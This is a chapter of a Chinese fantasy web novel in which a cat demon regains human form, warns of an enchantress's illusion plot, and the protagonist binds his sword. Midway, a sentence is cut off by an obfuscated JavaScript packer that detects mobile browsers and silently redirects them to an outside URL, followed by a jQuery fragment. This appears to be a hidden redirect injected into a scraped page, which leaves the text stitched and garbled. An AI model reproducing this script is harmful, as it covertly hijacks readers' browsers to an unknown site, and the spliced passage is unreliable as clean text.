“阿休!”瞿无涯惊了,要去接住猫。
猫身上白光一闪,变成了人形。他活动四肢,惊喜地看着自己的身体:“我去,终于解开了。”
“兄弟,大恩不言谢哈。”他拱手,“那天晚上我帮了你一次,就当抵消了。”
后面这句话显然是对瞿无涯说的,他茫然地看着。面前这个妖长着一张娃娃脸,发色和毛色一般是橘色,看着年纪很小的隽秀弟弟模样,可偏偏是粗狂的声音,听得他十分割裂,一度以为不是这妖在说话。
妖以为他是在回忆,道:“哎,就是你去钟离肃房间的那晚。我那会趁乱离开千瞳府,找了你好几天。”
主要是找这人的朋友,他目睹了全过程,见识到这人朋友的本事,才想找上门来求助。这术法是魇箬亲自设的,在这沧澜城找到一个法力比魇箬高的人不难,但人又不会帮他这个妖,然而找一个比魇箬厉害、还愿意帮他的妖就太难了。
这又不是妖界。
想起来了,那只猫。瞿无涯恍然大悟地“噢”一声,难怪,他就说千瞳府怎么会进野猫。
“我叫平关。”妖自顾自地往厨房走去,“我操,魇箬那个疯婆娘,憋死我了。有没有吃的,我好饿。”
“厨房里有果物。”
话题跳来跳去,瞿无涯和阿休对视一眼,阿休道:“他之前被下了术法,只能用妖身活动。”
刚好也是晚膳时间,原无名去炒了几个菜,平关也向瞿无涯问了他们的姓名。
“这位阿休兄弟,你是哪来的?”平关相当自来熟,“我是永劫山的。”
永劫山?瞿无涯眉毛一跳,他已经和阿休谈过神仙骨的事,当然时机不太好,他不清楚阿休放在心上没。
想起他说完后,阿休说,让我咬一口神仙骨,然后咬住他的手指。他脸一热,低下头往嘴里塞饭。
“我是王都的。”阿休不知从哪弄了一个大石头进院子,正坐在上面打坐。
“你不用吃东西吗?”
桌上只有原无名、瞿无涯和平关在用膳,场面很是怪异。
原无名没想过这么小的空间里,他竟然和两只妖在和平共处。原来是永劫山的妖,怪不得性格这么平和。
阿休:“不用。”
太多人了,挤。
“哎,我本来是想偷偷跑到人界玩,结果被魇箬那个疯子缠上。”平关喋喋不休,“我一个清白之身,岂能让她玷污,我誓死不从就变回原形。结果她居然给我施法,让我变不回去。哎,真是天可怜见的,我就这样当了一个月的猫。”
这要是人,原无名愿意和他多说几句,和妖没什么好说的。
所以,搭话的重任在瞿无涯身上,他道:“确实倒霉。”
“不过再倒霉也没有钟离肃倒霉。啧啧,钟离肃才是真的被缠上了。”
原无名:“你认识钟离肃?”
“对啊,我单方面认识他。”平关道,“毕竟我是一只猫,他肯定不知道我是谁。他喂过我吃的。”
“也不知道这之后他还能不能认识我,那个疯婆娘真是太丧心病狂了。”
原无名听出了别样的意味:“什么意思?”
瞿无涯也来了兴趣,抬头看着平关,他脸上红晕未褪,在清丽上添了几分俏丽。
平关和他是面对面坐着的。
平关盯着他,冒出一句:“无涯兄弟,你长得也太好看了。”
原无名下意识看了眼阿休,阿休睁开眼睛。
瞿无涯脸更红了,他从小被姐姐妹妹们夸已经习惯,但被男子夸的次数极少,大部分时候都是阿休在床上说浑话。
搞得他如今一听见这种话,就忍不住想起阿休说的那些话。
“平关兄,你方才说的话是什么意思?”
为了有新情报,原无名必须转移话题保障平关的妖身安全。
“魇箬要对钟离肃使用幻术。”
“什么?”
瞿无涯和原无名异口同声。
“魇箬在设置一个复杂的幻境,她想让钟离肃在幻境中爱上她,用幻境中的事情混淆真实的记忆。”平关解释道,“这比情蛊还厉害,情蛊只是让人产生依赖,幻境这种东西改变认知,弄不好会把钟离肃逼疯的。”
原无名和钟离肃虽不算相熟,但他和钟离柏却是实打实的朋友,他可不能看着好友的哥哥被妖女操纵思想,沦为玩物。
不能再拖了,他必须杀了魇箬!
“你要杀魇箬?”平关的感知非常敏锐,原无名一闪而过的杀意被他捕捉到,“别误会,我和那女人也有仇,感情上我是支持你的。但她花招太多,很难杀的。”
“钟离肃不该是这种人生。”
夕阳之下,原无名平静地放下碗筷,和说去解手一般的语气笑道:“我去杀魇箬。”
因这淡然的语气,瞿无涯和平关还没意识到原无名说了什么。
“你还没洗碗。”
阿休冷不丁冒出一句。
现在是说洗碗的时候吗?瞿无涯觑一眼阿休,好吧,对阿休来说,大概杀魇箬这件事的重要程度还没有洗碗高。
“原大哥,你伤还没有好,而且千瞳府还有阵法,去了胜算也不大,切莫操之过急啊。”
“对对对,无名兄弟你别急,我话还没说完呢。”平关附和瞿无涯,语速很快道,“她要制造的幻境,某种意义上来说是一个小世界。她在现实难杀,但在幻境中可没那么多弯弯绕绕。”
“而且,她在幻境中大概是人族。她一直认为,钟离肃不喜欢她是因为她是妖,所以她也许会给自己捏一个人族身份。越真实的幻境,本人要付出的代价越大,称之为代偿。她在幻境中受到的伤害,也会反噬到现实中。”
原无名了悟:“你的意思是,要进幻境中杀她?”
“是的,虽然在幻境中没法击杀她,但可以重创。”平关道,“现在的问题是如何再进千瞳府。”
“我知道了,这个我会想办法解决,多谢你告知的消息。”原无名抱拳,这次得找钟离柏帮忙了。
钟离是医药世家,情蛊这种东西,对钟离家来说很轻易解开,但若是钟离肃因幻术产生心病,实属束手无策。
诡异的四人同居生活开始了。阿休不关心平关的事,瞿无涯也没有赶客的理由。至于原无名,平关很自然地就跟着他回房间,理所当然到他都不好意思发问。
这妖还真是会看脸色,连该进哪间房都知道。没想到有一天他还要和妖同床共枕吗?
平关自觉地变回猫,窝在角落里。
好吧,这样顺眼多了,果然猫只是猫的时候就很讨人喜欢。
魇箬送清心丹的速度很快,翌日上午就送来。瞿无涯想,也许不是因为他的存在,阿休跟着魇箬,找回身份的概率更大吧。
但阿休太怠惰了,根本都不急这方面的事。
“你要它当你的本命武器吗?”
原无名在教瞿无涯怎么把剑收入体内,需签订契约为本命武器才行,且本命武器通常只能有一个。双生武器算为一个,双生武器通俗来说就是一个锅里炼出来的,器灵为同一个。
因此,有人取巧过,一同练就好几种武器,想以此当本命武器。可虽是同源生,但因器灵过于庞大,也不是能轻易签上。
经过这次试验,得出的结论是看器灵所占的容量来决定能否驾驭。这也就衍生出一个问题,无论武器的质量如何,器灵只根据原料用量来决定。当然,也有天赋异禀的人能签订两份契约,但太为罕见。
为了自身的实力提升,通常会非常谨慎地挑选本命武器。武器和主人是相辅相成的,武器可以提升主人的实力,主人也可以提升武器的威力,相对的,武器被毁,人也会受到重创。
为此,也有人不愿意签订契约,怕被人拿到本命武器后以此针对。这种情况还是比较少见的,毕竟本命武器可以融入身体中,除非主人召唤,不然得使用非常规手段才能唤出。
话又说回来,瞿无涯的这把剑就相当于是废铁一块。原无名对武器的要求也不似寻常人那般慎之又慎,只要实力够强,武器只是一种手段——和修炼一样的手段,不然他也不会拿从景同的“残次品”当本命武器。
虽说被从景同叫“残次品”,可还是要比一般武器要精良,至少比面前这块“废铁”要厉害。
“对。”瞿无涯显然很兴奋,为自己将有本命武器,“我喜欢它,它陪着我长大。”
看得出无涯很念旧情,原无名欣赏这种人,他道:“好,那你给它取个名字吧。”
叫什么?瞿无涯一时想不到,他摸着剑身上熟悉的纹路,上面积了些霜露,湿润润的。一个人,一把剑,一本剑谱。
他想起春日的雨细绵绵地落下,碧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126461|180071||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
落村的春季总是那样漫长,伴随着的是潮湿的雨季,直到秋季才堪堪停住。
“就叫四海剑吧。”
“四海?这个名字很磅礴,希望你和你的剑能不负这个好名字。”原无名微笑,“你把血滴到剑身上,按我刚才跟你说的口诀和它签订本命契约。”
瞿无涯把食指往剑上一划,血滴在剑身上,默念:吾血为契,吾魂为盟,灵犀相通定乾坤。
光芒环绕着瞿无涯和四海剑,红色的线链接在人剑之间,剑缓缓升起,和瞿无涯的上半身平行。
随后,剑化作一道光芒消失他的身体中。
门恰好被推开,采购回来的阿休和平关看见了这一幕。
“哇,无涯兄弟,你这是签了本命武器?”平关叽叽喳喳的。
瞿无涯:“是的。”
“若之后你这个剑用得不趁手,也是可以请人重铸。”原无名还是有些担心这个废铁太废了,“只不过有风险,且也不是一般练器师能做到的。”
阿休提着中药、猪肝,平关则是拿着好几壶酒。中药是给原无名,猪肝是瞿无涯非要买给他补血。
其实阿休觉得不太需要,他又不是重伤失血,中蛊吐的血是妖力,不过他也没打击瞿无涯的热情。
“怎么还买了酒?”原无名目不转睛地盯着酒,说起来,他也很久没碰酒了,为了出任务。
平关:“我没尝过,所以就缠着阿休兄弟买了。”
“缠着”这个词用得很微妙,瞿无涯和原无名都无法想象阿休被平关缠着的模样。
阿休:“他说要买,我就买了。”
阿休兄弟这副冷冰冰的样子,对他提什么要求都像缠着吧!平关自有一套评判标准。
原无名一口中药一口酒,好不肆意。要是从前,朋友就该念叨受伤了不能饮酒,可面前这一人两妖,人不会对他的行为提异议,妖不关心他的身体。
平关第一次饮酒,很快就醉倒,以为自己是猫形态,往原无名怀里钻:“喵。”
可惜配上平关粗犷的声音,原无名鸡皮疙瘩都要起来了,把平关往外一推:“平关兄,你清醒一点!”
一旁的大石头上,瞿无涯喝了点酒,脸红扑扑的,在傻笑。阿休枕在他的腿上看月亮。
“阿休,我想好了,我的愿望就是一直能够像现在这样。”瞿无涯低头,遮住月光,黑漆漆的瞳孔清亮,“我要好好修炼,起码要能保护自己。若可以的话,我也要像原大哥一样厉害,能够保护身边的人。”
再对上强大的对手,不能和上次被魇箬几乎掐死一样弱小,他不想死得这么轻易。
脖颈上的红痕早已褪去,阿休抬手抚摸着,竟是笑了:“其实不用那么努力也行,我会保护你的。”
很奇怪,他明明不是这样想的,无涯实力增进是一件好事,他赞同无涯修炼——尽管偶尔会拿原无名来逗一下无涯。
可是方才,无涯认真、憧憬地说出那些话,让他心生怜惜,一个天真、弱小却又明媚的生物。这种感觉让他相当不适应,他以前应该很少这样吧,才鬼使神差地说出这种不是想逗弄无涯的情话。
情多不是一件好事,但实在是一件妙事。
尽管自己差点死在魇箬手中,但瞿无涯没有反驳这句没有道理的话,而是应道:“我知道啦。”
他不知对阿休来说他算什么,阿休现在是很在意他,可那是因为阿休失忆了,只认识他。
对他来说,阿休不是最亲的人,却是最亲密的存在。他自认和阿休够恩爱,但他又看不透阿休——这也很正常,毕竟阿休表露的只是他失忆后的一面。
无论如何,阿休对他来说已经是重要的人。在很多个夜晚,他感受到阿休的体温,安心睡去。不管明日如何生变数,把握好当下吧。
原无名酒后的豪爽情调全被平关毁了,他本想对酒当歌一把,结果被平关搞得鸡飞狗跳。他拿剑鞘顶着平关的胸口,阻止平关靠近自己。
“平关兄,男男授受不亲!”
平关:“喵喵喵。”
而瞿无涯和阿休岁月静好地依偎在一旁,沧澜城看见的星星很小,而碧落村的星星硕大一颗。阿休说是因为碧落村离天上更近。
这个吵闹又静谧的寻常夜晚,瞿无涯此后时常想起,他记得那夜的酒味融入秋风,记得那夜阿休的体温,也记得那些近乎誓言的话语。